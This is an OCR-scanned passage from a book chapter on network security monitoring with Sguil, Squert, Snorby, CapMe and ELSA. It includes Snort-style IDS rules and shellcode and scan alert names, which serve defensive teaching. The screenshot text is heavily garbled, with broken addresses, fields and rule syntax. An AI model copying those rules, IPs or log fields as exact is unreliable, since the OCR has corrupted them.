NA 1 sademo... 6.21 2013-02-10 11:13:38 —192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-... 6.24 2013-02-10 11:14:16 — 192.168.2.127 48289 174.36.207.186 80 6 URL geolite.maxmind.com 
NA 1 sademo... 6.25 2013-02-10 11:14:57 — 192.168.2.127 42523 217.160.51.31 80 6 URL www.testmyids.com 
NA 1 sademo-... 6.26 2013-02-10 11:15:00 — 192.168.2.108 49345 Quick Query [4 6 URL s3.amazonaws.com 
eo... EventTable — » 
rir EENESEREEN sos 











z — Query PADS Table — P Query SrcIP/1 Hour 
— 


Method: GET Host: www.testmyids.com URI: / Referrer: - UA: curl/7.22.0 (x86 6 Query DstIP 
libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 Trans Depth: 1 RNEREEZESCHETETEIT 








sri: | 


Length: 0 Response Body Length: 39 Status Code: 200 Status Message: OK Info SETANE h 
Message: - Filename: - Tags: (empty) Username: - Password: - Proxied: - MIMET GEN aici 








Src Name: | 
a 





MDS: - Extraction File: - UID: LASBSNQPPei Query Src To Dst/1 Hour 








Figure 8-5: Pivoting from a message to SANCP data 


Sguil displays the Query Builder window with prepopulated syntax that 
looks for session records 30 minutes prior and 30 minutes following the 
highlighted record, as shown in Figure 8-6. The timestamp on the high- 
lighted event is 11:14:57, so the query starts at 10:44:57 and ends at 11:44:57 
on February 10, 2013. 


Query Builder 
Select Query Type 
C Events © Sancp ^ PADS 


Edit Where Clause 1 








WHERE sancp.start time » '2013-02-10 10:44:57' AND 
sancp.start time < '2013-02-10 11:44:57' AND sancp.src ip 
= INET ATON('217.160.51.31') 


Delete 


Edit Where Clause 2 





WHERE sancp.start time » '2013-02-10 10:44:57' AND 
sancp.start time < '2013-02-10 11:44:57' AND sancp.dst ip 








= INET ATON('217.160.51.31") 


Add Union 
LIMIT |1000 


Figure 8-6: Query for SANCP records in the Query Builder window 


As you can see in Figure 8-7, this query returns only one session data 
record. The PRADS application created this session record. A Sguil software 
agent running on the sensor read the PRADS output and loaded the session 
record into the MySQL database on the SO server. This is an example of 
how an NSM console like Sguil integrates data from multiple systems and 
platforms. 
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File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 2013-02-24 19:37:05 GMT| 


eatin Events| escalated Events| Event Query 1 ` Sancp Query 1 


SGUIL-0.8.0 - Connected To localhost - +x 





sadem... 5.1360... 2013-02-10 11:14:57 2013-02-10 





Src IP SPort | DstIP DPo 
4:57 192.168.2.127 42523 217.160.51.31 80 





Iv Display Sancp Details 

















7 UAPRSF UAPRSF 
[ Reverse DNS MV Enable External DNS mM RRCSSYI ERSS ENA 
i dioickurNN 21GKHTNN 
Summary T cr a ————— 
J. |. 1. Ki. xix - E bebe. bel 
à 


























Figure 8-7: Session data displayed in Sguil 


Select the Display Sancp Details option to see a summary of the TCP 
flags counted during this session. The TCP protocol uses flags like SYN, 
ACK, FIN, ACK, RST, URG, and PSH to coordinate the transfer of data during a ses- 
sion. PRADS keeps track of the total set of flags seen when two computers 
exchange data using TCP. Sguil can display those flags in the console to 
help analysts recognize patterns of communication. For example, the pat- 
tern ACK PSH SYN FIN shown in Figure 8-7 reflects all of the flags that would 
be used at some point during a normal TCP session. 

The information in this record is similar to what we saw generated 
by Argus in Chapter 6, including timestamps, source and destination IP 
addresses and ports, protocol (6 here for TCP), and source and destination 
packet and byte counts. These elements are the core features of session 
data: who talked to whom, when, and how much data they exchanged. 


Just before this book went to press, the PRADS developers changed their code and 
the way they count bytes of data sent by source and destination computers in session 
records. PRADS, along with Bro and NM, count bytes in the IP header, the TCP or 
UDP header, and any application data when reporting bytes of data sent or received 
in a session. [n contrast, Argus and. Wireshark count bytes in the Ethernet header, the 
IP header, the TCP or UDP header, and any application data bytes. The decision to 
exclude bytes from the Ethernet header means PRADS, Bro, and NM will report fewer 
bytes compared to Argus and Wireshark results. These choices are arbitrary and harm- 
less, but important to understand when comparing data from these different tools. 


Pivoting to Full Content Data 


Just as we pivoted from an event to session data, Sguil allows us to pivot from 
alert or session data to full content data. To see how this works, click the 
RealTime Events tab and highlight an interesting alert. This example uses 
an alert about an outdated version of Java. An IDS like Snort or Suricata 
generated an ET POLICY Vulnerable Java Version alert when the detection 
engine noticed traffic from a computer running an old version of Java. 
The IDS wrote the alert to disk, and then a Sguil agent read the data and 
inserted it into the MySQL database. Using Sguil, we can learn more about 
this event by right-clicking the Alert ID field and selecting Transcript, as 
shown in Figure 8-8. 
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SGUIL-0.8.0 - Connected To localhost b X 
File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 2013-02-24 19:51:42 GMT, 

















| RealTime Events 



































ET POLICY PE EXE or DLL Windo... 
GPL SHELLCODE x86 NOOP 

ET SHELLCODE Common 0a0a0... 

GPL SHELLCODE x86 inc ebx NO... 
ET POLICY Vulnerable Java Versi... 
PADS Changed Asset - ssh PuTT... 

GPL SHELLCODE x86 inc ebx NO... 
PADS New Asset - http Mozilla/5... 
GPL SHELLCODE x86 inc ebx NO... 
ET POLICY PE EXE or DLL Windo... 


3.5643 2013-02-2302:20:59  23.67.244.73 192.168.2.104 
3.5659 2013-02-23 03:16:22 174.35.22.59 192.168.2.108 
3.5660 2013-02-23 03:17:04 23.13.164.211 192.168.2.108 
3.5686 2013-02-23 03:26:21 23.67.53.57 192.168.2.104 
3.5696 2013-02-23 04:21:04 192.168.2.108 137.254.16.78 
. Event History 30:40 192.168.2.108 192.73.232.1... 


= la 9 774.125.228.100 192.168.2.108 

-. Transcript (forcé new) 14:29 192.168.2.118 74.125.228.15 

. Wireshark 01:04  74.125.228.9 192.168.2.113 

- Wireshark (force new) Es 174.133.123.130 80 192.168.2.113 
* NetworkMiner 


NetworkMiner (force new) M Show Packet Data V Show Rule 
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP PORTS (msg:"ET POLICY Vulnerable Java Version p 


DAAAAAAAAAA 











[ Reverse DNS V Enable External DNS 1.7.x Detected"; flow:established,to_server; content:" Java/1.7.0 "; http header; content:!"15"; 
SrcIP: | within:2; http header; flowbits:set,ET.http.javaclient.vulnerable; threshold: type limit, count 2, seconds 




















re 
Src Name: DestIP Ver HL TOS len ID Flags Offset TTL Chksum 


137.254.16.78 4 |s |o (394 |196762 |o [127 20529 
UAPRSF 


= Source Dest RRRCSSYI 
Whois Query: * None © SrcIP © DstIP - Pot Pot 10GKHTNN  Seqf Ack# Offset Res Window Urp Chksum 


|. |. |. xx]. |. |. [3821739887 [119232176 | — |o (4380 |o [s014 

















|GET /javafx-cach 
le.jnlp HTTP/1.1. 
.accept-encoding 
: gzip..User-Age 
Int: JNLP/1.7.0 j 
avaws/10.13.2.20 
(«internal») Ja 
va/1.7.0 13..UA- 














Figure 8-8: Pivoting from alert data to a transcript 


Sguil generates a new window called a transcript, as shown in Figure 8-9 
(similar to the window that appears after rebuilding a TCP session in 
Wireshark). We see a computer with IP address 192.168.2.108 connecting 
to a server in the oracle.com domain. This is HTTP traffic, as demonstrated 
by the GET request and the HTTP/1.1 reply. The ET POLICY rule for Vulnerable 
Java Version noticed that 192.168.2.108 is running an outdated version of 
Java, as reported by the User-Agent field and the UA-Java-Version (1.7.0. 13). 

This data is important for several reasons: 


e It’s a reconstruction of the full content data saved by Netsniff-ng. This 
data was not collected because the IDS detected suspicious or malicious 
activity and decided to trigger the capture of full content data. Rather, 
we simply used the ET POLICY rule for Vulnerable Java Version alert as a 
reason to pivot from alert data to full content data. 


e It shows all of the content for this session—exactly what the source sent 
and how the destination replied. This data can be critical when trying 
to understand what is happening during an intrusion. 


e Although this data appeared in a Sguil Tcl/Tk window, it could just as 
easily have automatically gone to Wireshark, as shown in Figure 8-10, or 
NM. In fact, you can open Wireshark by right-clicking the Alert ID field 
and selecting either option. 
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sademo-eth1-1 5696 -+x 


g« 





SRCCGET /javafx-cache.jnlp HTTP/1 


SRC: acce] =r 
ser-Agent: JNLP/1.7.0 javaws/10.13.2.20 («internal») Java/1.7.0 1 
JA-Java-Version: 1.7.0 13 

: Cache-Comrot-ee =~ 

ISRC: Pragma: no-cache 

ISRC: Host: dl.javafx.com 

ISRC: Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 

ISRC: Connection: keep-alive 

ISRC: If-Modified-Since: Fri, 01 Feb 2013 21:54:29 GMT 















DST: X-Powered-B: 

DST: Server: GlassFish v3 
IDST: Expires: Mon, 25 Feb 2013 03:20:43 GMT 
DST: Cache-Control: public, max-age=172800 
DST: Date: Sat, 23 Feb 2013 03:20:42 GMT 


DST: 
_Searc | Mor | _Cose | 
Debug Messages 
137.254.16.78 and port 58379 and port 80 and proto 6) or (vlan and host 192. 168.2.108 and host 
137.254. 16.78 and port 58379 and port 80 and proto 6) 
Receiving raw file from sensor. 
Finished. 














Figure 8-9: Sguil transcript 


V 192.168.2.108:58379 137.254.16.78:80-6.raw [Wireshark 1.6.7 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
(EM im [9 S RE a Q [753 














104.3 192.168.2.108 58379 137.254.16.78 HTTP GET /javafx-cache.jnlp HTTP/1.1 





> Frame 4: 408 bytes on wire (3264 bits), 408 bytes captured (3264 bits) 
> Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48) 
> Internet Protocol Version 4, Src: 192.168.2.108 (192.168.2.108), Dst: 137.254.16.78 (137.254.16.78) 


> Transmission Control Protocol, Src Port: 58379 (58379), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 354 


7 Hypertext Transfer Protocol 00000 
» GET /javafx-cache.jmlp HITP/1-TNAh 000000 
accept-encoding: gzip\r\n 
User-Agent: JNLP/1.7.0 javaws/10.13.2.20 (<internal>) Java/1.7.0_13\r\n 
UA-Java-Version: 1.7.0_13\r\n 
Cache-Control: no-cache\r\n 
Pragma: no-cache\r\n 
Host: dl.javafx.com\r\n 
Accept: text/html, image/gif, image/jpeg, *; q-.2, */*; q=.2\r\n 
Connection: keep-alive\r\n 
If-Modified-Since: Fri, 01 Feb 2013 21:54: 
50 2f 31 2e 31 Od 0a e ccept-enj 
63 6f 64 69 6e 67 3a 20 gzip. NUS. 
65 72 2d 41 67 65 6e 74 20 4a er-Agent : JNLP/1 
2e 37 2e 30 20 6a 61 76 77 73 -7.0 jav aws/10.1 
33 2e 32 2e 32 30 20 28 69 6e 3.2.20 ( «interna 
































HTTP Accept Encoding (http.accept, en... : Packets: 7 Displayed: 7 Marked: 0 Load time: 0:00.000 





Figure 8-10: Pivoting to Wireshark from Sguil alert data 
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Every time Sguil retrieves full content data from the sensor, it saves a copy in the /nsm/ 
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server data/«servername»/archive directory. The Seuil client also saves a copy for 
local use. For example, the pcap file required to build a transcript might be archived 
on the SO server at /nsm/server_data/securityonion/archive/2013-02-24/ 
sademo-eth1/192.168.2.117:49207 184.51.126.91:80-6.raw. The format of the 
filename is SourceIP:SourcePort. DestinationIP:DestinationPort-Protocol.raw. 


Sguil's full content capabilities are powerful for several reasons. First, 
they're easy to use. Analysts who are more familiar with manual retrieval of 
network traffic via the command line are usually thrilled to interact with 
Sguil on a right-click basis. Also, Sguil, through its Netsniff-ng component, 
is always capturing full content data to disk. Whether or not there's an alert, 
Sguil will have the data. The only limitation is the amount of hard drive 
space reserved for capture. Wait too long, and the hard drive housekeeping 
scripts running on SO will erase older captures to make room for new cap- 
tures. This is why Sguil's ability to keep archived copies of requested tran- 
scripts on the server and client is so helpful: SO may delete the original full 
content data to make room for new files. As long as an analyst requested a 
transcript, the associated full content evidence is preserved in two locations. 


Categorizing Alert Data 


Sguil was designed as a real-time console for analysts sitting in a CIRT or 
a security operations center (SOC). Sguil is not an “alert browser" for pag- 
ing through security information. Analysts should not treat Sguil like a log 
management platform that passively stores records. Instead, analysts should 
monitor the Sguil console and investigate alerts as they appear. They must 
decide whether an event is benign, suspicious, or malicious. After making this 
decision, the analyst can assign a label to the event conveying that informa- 
tion. This process of classification changes the status of the event from RT 
(for Real Time) to another code chosen by the user. 

To support this workflow, = indien aegris —Óà 
Sguil allows you to categorize Incident Category Definitions 
alert data. Select File > Display Category I Unauthorized Root/Admin Access 
Incident Categories to see the Karan Vlprseatii odi n —— 
categories built into Sguil by Category IV Successful Denial of Service Attack 
default, as shown in Figure 8-11. aee V Cleri ioo we ii M 
Highlight any event in Sguil and — (category vit virus Infection 
click the corresponding func- 
tion key (F1 for Category I, F2 Figure 8-11: Sguil incident categories 
for Category II, and so on) to 
classify an alert. For example, 
if you find evidence of an intruder achieving root-level access to a system, 
pressing F1 will classify the event as an Unauthorized Root/Admin Access 
incident. Crucially, the alert will disappear from the real-time display. The event 
is still preserved in the database, but from Sguil’s perspective, the event has 
been “handled.” To classify an event as being of no consequence, press F8 
instead. 





Note that you can classify only alert data—not session data. Analysts 
who use Sguil tend to assign their own meanings to the different function 
keys, so devise a plan that suits your needs. 

Sguil users don't let alert data pile up in the console. Instead, they work 
to clear the screen as efficiently as possible. 

The case studies later in this book demonstrate how to apply this NSM 
operational model to hunt for intrusions using NSM data. For now, it's 
enough to understand that Sguil provides CIRT members a way to perform 
six key functions: viewing aggregated alerts, accessing some metadata and 
related data, querying for alert data, querying for session data, pivoting to 
full content data, and classifying alert data. 


Using Squert 


Squert (hitp://www.squertproject.org/) is an open source web interface for 
NSM data. Paul Halliday wrote Squert to provide access to the Sguil data- 
bases using a web browser. 


Paul codes Squert under the GNU General Public License version 3 (https:// 
github.com/int13h/squert/blob/master/ COPYING/). 


As you saw in the previous examples, the Sguil client focuses on pre- 
senting key elements of different datatypes as records in rows. Squert adds 
features like visualizations and supporting information to events in the 
Sguil database. Figure 8-12 shows the Events tab of the Squert page with 
the PING TEST alerts selected. 


C) SQueRT x Y [T] the squertproject 


e C & beps://demo.sguil.net/squert, 











Total Events Total Signatures Total Sources Total Destinations 








EB 5 9 12:38:16 PING TEST 2012072601 1 18.557% 


alert icmp any any -> any any (msg:"PING TEST"; reference:url,tools.ietf.org/html/rfc792; sid:2012072601;) B5 
fie: local.rules:1 


15 
12 ER 10 10 x 





categorize Oevent(s): MEN i 2 GNU i) Gp (ez) (mn) =) 











Queued Last Event. Source IP Country Destination IP Country 

EB 2013-02-01 12:38:16 141.136.96.18 EE EUROPE (.eu) 173.255.199.137 5 UNITED STATES (.us) 
EB 2013-02-01 11:44:34 173.255.199.137 [E UNITED STATES (.us) 119, 150,221,239 © JAPAN (jp) 
EB [ 2013-02-01 10:44:24 92.45.73.194 ‘TURKEY (.tr) 173.255.199.137 E UNITED STATES (.us) 
EB 2013-02-01 10:44:24 173.255.199.137 "BS UNITED STATES (.us) 92.45.73.194 E TURKEY (.tr) 
EB 2013-02-01 10:18:02 173.255.199.137 "S UNITED STATES (us) 203.185.1.148 EE HONG KONG Chi) 





Figure 8-12: Events tab in Squert 1.0 
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The Squert dashboard presents several data visualizations. For example, 
the events grouped by minute and hour graph shows spikes and valleys in 
counts of alerts created by the Snort or Suricata IDS engines, as shown in 
Figure 8-13. 


Events grouped by minute and hour 


304 











Figure 8-13: Squert visualization of IDS alerts over time 


Future versions of Squert should allow analysts to pivot from alert data 
to packet details and full content data. 

The Squert project expands beyond the key datatypes captured and 
integrated by Sguil and its components, but the Snorby project takes that 
integration a step further. 


Using Snorby 


Snorby (hitp://www.snorby.org/) is a newer open source web interface for 
NSM data. 


Dustin Webber codes Snorby under a GNU General Public License version 3 
(https://github.com/Snorby/snorby/blob/master/LICENSE). 


SO users can access Snorby by pointing a web browser to port 444 TCP 
on the SO server. Log in using the email address and password selected 
during the SO installation process to see a summary dashboard of data 
from the Sguil database, as shown in Figure 8-14. As with Sguil, Snorby 
users can classify events using function keys. 

Most users find the Snorby interface to be intuitive. For example, click- 
ing the High Severity portion of the dashboard takes you to the list of high- 
severity alerts (as designated by the IDS engine). Clicking any record in the 
list displays additional data for the event in question, as shown in Figure 8-15. 

Snorby also supports creating transcripts, thanks to Paul Halliday's 
CapMe program (https://github.com/int13h/capme). To use it, select Packet 
Capture Options, and then select Custom. The Packet Capture Builder 
window will appear, as shown in Figure 8-16. 
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inorby - Dashboard 


s C & bieps://192.168.2.127:4 


Dashboard 


LAST 24 TODAY YESTERDAY THISWEEK THIS MONTH THIS QUARTER THIS YEAR 
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HIGH SEVERITY 
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Event Count vs Time By Sensor 
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Figure 8-14: The initial Snorby screen 


inorby - High Severity @ inti3h/capme - GitHub 
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Snorby “Al About Simply 
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My Queue (0) Events 


Source IP Destination IP. 


sademo-ethii 184.51.126.91 192.168.2.117 


IP Header Information 

Source Destination 
184.51126.91 © 192.168.2.117 
Signature Information 


GeneratorID Sig. ID Sig. Revision Activity (823/6509) 


2000419 
TCP Header Information 


Sre Port Dst Port 


2147483647 
References 


Type 


doc.emergingthreats.net/binview/Main/2000419 
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00 00 00 00 00 
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00 2d 00 00 00 
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Figure 8-15: Snorby alert detail 
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Packet Capture Builder 


Source address Protocol: 
184.51.126.91 - 80 TCP [x] 
Start time 


Destination address 2m3 [-] February [x] 24 [x] -m [-] : [30 [=] 


192.168.2.117 : 49207 End time 


2013[¥] [February [v] |24[«] —|12[¥] : [30 [»] 


Fetch Packet 


Figure 8-16: Packet Capture Builder window in Snorby 








Click Fetch Packet to open a new window titled capME!, as shown in 
Figure 8-17. This window is prepopulated with the fields necessary to retrieve 
full content data associated with the particular event. All that remains is to 
enter a username and password to authenticate to the SO sensor that stores 
the full content data. 


D capME! x V )inti3h/capme-GitHub x 




















c C | & brips//192168.2127/capme/?sip-184.51.126918spt-80&dip -192.168.2.117&dpt-49207&proto- 


capME! 
Src IP / Port: 184.51.126.91 į 80 
Dst IP / Port: 192.168.2.117 || 49207 
Start Time: 1361705400 


End Time: 1361709000 


Username: sademo 


Password: |" “| 


Sid Source: — (sanc @ event 





submit 











Figure 8-17: CapMe ready to build a transcript 


When you're ready, click Submit, and CapMe will retrieve full content 
data from the appropriate sensor, return it to the server, and render it via 
the web browser, as shown in Figure 8-18. 





D capME! x Ñ @ inti3h/capme-GitHub x 


€ > C & bteps://192.168.2.127/capme/?sip=184.51.126.91&spt=80&dip=192.168.2 117&dpt=49207 &proto=tcp&stime=13617054008 {7 





a) 


Sensor Name: sademo-eth1 

Timestamp: 2013-02-24 12:00:42 

Connection ID: CLI 

Src IP: 192.168.2.117 (toshiba.taosecurity.com) 

Dst IP: 184.51.126.91 (2184-51-126-91.deploy.akamaitechnologies.com) 

Src Port: 49207 

Dst Port: 80 

OS Fingerprint: 192.168.2.117:49207 - Windows XP/2000 (RFC1323+, w+, tstamp-) [GENERIC] 
OS Fingerprint: Signature: [8192:127:1:52:M1460,N,W2,N,N,S:.:Windows:?] 

OS Fingerprint: -> 184.51.126.91:80 (distance 1, link: ethernet/modem) 


SRC: HEAD /msdownload/update/software/defu/2013/02/am delta patch 1.145.304.0 b892177d9e75ad4a67cf22378da7cd65921f2b71.exe HTTP/1.1 
SRC: Connection: Keep-Alve 
SRC: Accept: */* 







SRC: Accept-Encoding: identity 

SI er-Agent: Microsoft BITS/7.5 

SRC: : download. windowsupdate.com 
SRC: 


DST: HTTP/1.1 200 OK 

DST: Content-Type: application/octet-stream 
DST: Last-Modified: Sat, 23 Feb 2013 22:03:53 GMT 
DST: Accept-Ranges: bytes 
80aad2aa1112ce1:0" 
Microsoft-IIS/7.5 

red-By: ASP.NET 

DST: Content-Length: 433320 

DST: Date: Sun, 24 Feb 2013 12:00:42 GMT 
DST: Connection: keep-alive 

DST: X-CCC: US 

DST: X-CID: 2 











SRC: GET /msdownload/update/software/defu/2013/02/am_delta_patch_1.145.304.0_b892177d9e75ad4a67 cf2aa78da7 cd659a1fab71.exe HTTP/1.1 
SRC: Connection: Keep-Alive 
















Si ccept: */* 

S ccept-Encoding: identity 

SI Unmodified-Since: Sat, 23 Feb 2013 22:03:53 GMT 
S nge: bytes-0-6323 


er-Agent: Microsoft BITS/7.5 
SRC: Ho: 





download.windowsupdate.com 


: HTTP/1.1 206 Partial Content 

: Content-Type: application/octet-stream 
: Last-Modified: Sat, 23 Feb 2013 22:03:53 GMT 
: Accept-Ranges: bytes 

: ETag: "80aad2aa1112ce1:0" 

: Server: Microsoft-IIS/7.5 

: X-Powered-By: ASP.NET 

: Date: Sun, 24 Feb 2013 12:00:59 GMT 
: Content-Range: bytes 0-6323/433320 

: Content-Length: 6324 

: Connection: keep-alive 

+ X-CCC: US 

: X-CID: 2 





pi — MY — !..L.! This program cannot be run in DOS mode. 


Rich. 








PoP 
@..@.reloc..H. 





..Q.rsrc... 














Figure 8-18: CapMe returns a transcript. 


In this example, we see HTTP traffic, with HEAD and GET requests, fol- 
lowed by an HTTP/1.1 status code. It looks as if 192.168.2.117 is retrieving an 
update from Microsoft. 

Snorby can also offer data to analysts in nontraditional ways, such as via 
iPhone apps. For example, the Snorby iPhone app (Attps://itunes.apple.com/ 
us/app/snorby /id570584212?mt- 8/) offers an innovative way to review Snorby 
alerts on the go, as shown in Figure 8-19. 


In 2013 Dustin Webber published a cloud-based version of Snorby called Threat 
Stack (https://www.threatstack.com/), mentioned in the conclusion. He plans to 
continue to support the open source version of Snorby, but the cloud edition contains 
many compelling features. 
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uil. AT&T 4:28 PM all AT&T E 4:28 PM 
Snorby | Snorby Logout 
ET POLICY Reserved IP Space 
37.105.8.49:51690 -> 173.255.236.165:80 ET SCAN Sipvicious Scan 


(portscan) Open Port 
81188.106.170:( 73.25 Sensor: NIDS 
EDEN Protocol: udp 
(portscan) Open Port Source: 192.69 


5:0 ] 6.165:0 Destination: 173.255 


4:15 PM 


( l 
EPM OPTIONS.sip:100@173.255.23 
1 


(portscan) TCP Portscan 


ET SCAN Sipvicious Scan 


6.165.SIP/2.0..Via:.SIP/2 


0/UDP.192.69.94.169:5070;b 


ET SCAN Sipvicious User-Agent 
; 4 173.255. ) ) 
ranch=z9hG4bK-1025359630;r 


= Events © Queue #§ Settings = Events (4 Queue *#§ Settings 


Figure 8-19: Snorby iPhone app displays suspicious scan alerts. 
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ELSA, the Enterprise Log Search and Archive (Attps://code.google.com/p/ 
enterprise-log-search-and-archive/) , provides a fully asynchronous web-based 
query interface that normalizes logs and makes searching billions of them 
for arbitrary strings as easy as searching the Web, as stated on the project's 
website. 


Martin Holste codes ELSA under a GNU General Public License version 2 
(http://enterprise-log-search-and-archive.googlecode.com/svn/trunk/ 
elsa/ LICENSE/). 


ELSA relies on Syslog-ng (hitp://www.balabit.com/network-security/syslog-ng/) 
to collect remote log events, stores them in MySOL, and provides search 
capabilities using the search server Sphinx (Attp://sphinxsearch.com/). ELSA 
is closely tied to the Bro tool, and many analysts use it to interpret Bro logs. 

Because ELSA has been integrated into SO, using it is as easy as point- 
ing a web browser to the address and port listening on the SO server, and 
then authenticating using the username and password you set for the Sguil 
database. ELSA should listen on port 3154 TCP by default and must be 
accessed via HTTPS. After authentication, it offers the query window shown 
in Figure 8-20. 


O Bro Blog: x D ELSA x 




















€ Q'(Xxb53p$//1921682127:3154 wl = 
ELSA» Admin v 1 node(s) with 956427.0 logs indexed and 1.9 million archived] 
lauery | [_submt quer] Hela 
From (2013-02-22 16:43:10| To [ Addterm~ | | Reporton~ | | index | Œ Reuse current tab E Grid display 














Figure 8-20: ELSA query window 


To try out a sample query, I set my From time to the beginning of the data 
available using the pop-up calendar, and then enter www. testmyids.com in the 
query box. I click Submit Query and see the results shown in Figure 8-21. 





www.testmyids.com (3) ES 








ELSAv Admin v~ 1 node(s) with 956427.0 logs indexed and 1.9 million archived 
Query www.testmyids.com Submit Query | Help 
Erom [2013-02-10 16:43:10] To | Aa Term » | | Repoton ~ | | index» | E Reuse current tab [7] Grid display 



































Result Options... » |Field 
[Resun options.. Hel Qn gram(2) ğlass(2) srcip(1) srcport(3) dstip(2) dstport(2) status code(1) content length(1) method(1) site(1) uri(1) referer(1) user agent(1) proto(1) hostname(1) answer(2) 
Records: 3 / 3 974 ms ? first 1 ne 15 iv 
lium. iei 











1361111203.875022|nImRPPuGF mjl192.168.2.127|57849|217.160.51.31/80/1|GETiwww.testmyids.com|/|.|curl/7.22.0 (x86 64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 



















































Info | Sun Feb 17 23 librtmp/2.3|0|39|200|OK|-|-(empty)|-|-|-ltext/plain|-. 
T? 092644 -bro http class-BRO HTTP srcip-192.168.2.127 srcport=57849 dstip-217.160.51.31 dstport-80 status codez200 content lengthz39 method=GET 
uri=/ uri/7.22.0 (x86. 64-pc-linux-gnu) libcurl/7 22.0. OpenSSU10. 0.4 zlib/ 2.3.4 libidn/1 23 libtmp/2.3 

Sun Feb iz  1361111202.641412XXtWsbegDvXAI192.168.2.127]52036]172.16.2.1/53]udpI2959T www.testmyids.com/tIC. INTERNETITIADIINOERRORIFIFITITIOI217.160.51.31/86400.000000 
Info | Sone ost=127.0.0.1 program=bro_dns class=BRO_DNS srcip=192.168.2.127 srcport-52036 dstip=172.16.2.1 dstport=53 proto-UDP hostname-www.testmyids.com 

09:26:44 

217.160.51.31 

jio  SunFeb17  13611112024157817vs2dyASL5d[192.168.2.127]32824/172.16.2.1153]udpl6304|www.testmyids.com|1IC INTERNETI28/AAAALHFIFITIFIO- 
T? 092654 host=127.0.0.1 program=bro_dns class-BRO DNS srcip=192.168.2.127 srcport-32824 dstip-172.16.2.1 dstport-53 proto=UDP hostname-iWWWiestmyids. Com answer=- 
Records: 3 / 3 974 ms 2 t <prev 1 15 [e] 








Figure 8-21: ELSA search results for www.testmyids.com 


ELSA v 


Admin v 


Notice the program(2) element in the Field Summary section. This indi- 
cates that ELSA identified two sources of data for these results. 

Examining the records, we see the entries of program-bro http and 
program-bro dns. When there are many different sources of data, we can use 
this program element to narrow the results. For example, Figure 8-22 shows 
what happens when I enter 192.168.2.127 in the query box, and then click 
the program element. 


1 node(s) with 956427.0 logs indexed and 1.9 million archived 





Query [192.168.2.127 


| | SubmitQuery | Help 








From [2013-02-10 16:43:10| To | | Add Term ~ | | program + | | index» | E Reuse current tab (71 Grid display 
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Result Options... v | 





16261 
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575 
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bro_conn 
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bro_http 


snort 
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bro smtp 


Cou Value Save Chart As 


192.168.2.127 (30290) [Grouped by program] 
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16261 Mad 


14,634.9 
13,008.8 
11,382.7 
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6,504.4. 








Figure 8-22: 


4,878.3 
3,252.2.: 
1,626.1 
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ELSA results for 192.168.2.127 grouped by program 
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You can see that the results are grouped by program, with bro conn 
providing the most results (16,261) and bro smtp the fewest (2). Clicking 
any Count field starts a new query for just those results. For example, click 
the snort link to see Snort alerts associated with 192.168.2.127, as shown in 
Figure 8-23. (ELSA pulls these Snort alerts from the MySOL database.) 


ELSA» Admin v 1 node(s) with 956427.0 logs indexed and 1.9 million archived 


Query |192.168.2.127 +program="snort" Submit Query | Help 


From [2013-02-10 16:43:10] To | AddTerm~ | | Reporton~ | | index» | Œ Reuse current tab E Grid display 






































www.testmyids.com (3). X | www.testmyids.com (5) [Grouped by program] X | 192.168.2.127 (30282) X | 192.168.2.127 (30290) [Grouped by program] * | 


192.168.2.127 +program="snort" (575) ES 


Result Options... v [ena Summary 
—— —— — — —C host(1) program(1) class(1) sig. priority(2) proto(1) srcip(1) srcport(11) dstip(7) dstport(1) sig sid(2) sig msg(2) sig classification(2) interface(1) 


Records: 100 / 575 548 ms ? first rv 12° 3/4/5)6)7) next> last»» |15 |i 


Timestamp "S Fields 
[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management [Classification: Not Suspicious Traffic] [Priority: 3]: 
Sat Feb 16 {TCP} 192.168.2.127:57968 -> 91.189.91.15:80 
07:30:18 27 0.0.1 program-snort class=SNORT sig priority-3 proto=TCP srcip-192:168.2.127 srcport-57968 91.189.91.15 dstport-80 sig_sid=1:2013504:3 
s sg-ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management sig classification-Not Suspicious Traffic interface= 





























[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management [Classification: Not Suspicious Traffic] [Priority: 3]: 
Sat Feb 16 {TCP} 192.168.2.127:57968 -> 91.189.91.15:80 


07:30:18 host=127.0.0.1 program-snort class=SNORT sig_priority=3 proto=TCP srcip=192.168.2.127 srcport=57968 dstip-91.189.91 15 dstport=80 sig_sid=1:2013504:3 

sig msg-ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management sig_classification=Not Suspicious Traffic interface= 

[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management [Classification: Not Suspicious Traffic] [Priority: 3]: 
Sat Feb 16 {TCP} 192. 1682. 127:32879 -> 91. 189. 88.33:80 
07:30:18 cl: sig_priority=3 pi srcip-192.1 54127 srcport: .189. dstport= 2013504:3 

E ET POLICY € GNU/Linux APT User-Agent Outbound likely related to package management s g_clas e= 




















[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management [Classification: Not Suspicious Traffic] [Priority: 3]: 
Sat Feb 16 {TCP} 192.168.2.127:43470 -> 91.189.92.200:80 


07:30:18 host=127.0.0.1 program=snort class=SNORT sig_priority=3 proto=TCP srcip-192:168:2:127 srcport=43470 91.189.92.200 dstport=80 sig_sid=1:2013504:3 
sig msg-ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management sig c cation=Not Suspicious Traffic interface= 




















Figure 8-23: Some of the Snort alerts in ELSA associated with 192.168.2.127 


Clicking bro_conn displays Bro’s connection logs, a form of session data 
similar to that of Argus and PRADS, but generated by Bro. 

ELSA supports other integrated NSM data as well. For example, to 
generate a transcript in Snorby (as we did with CapMe in Figure 8-17), click 
the Info link next to any record, click the Plugin drop-down menu, and 
choose getPcap, as shown in Figure 8-24. 








Log Info x 
Summary 

Links 

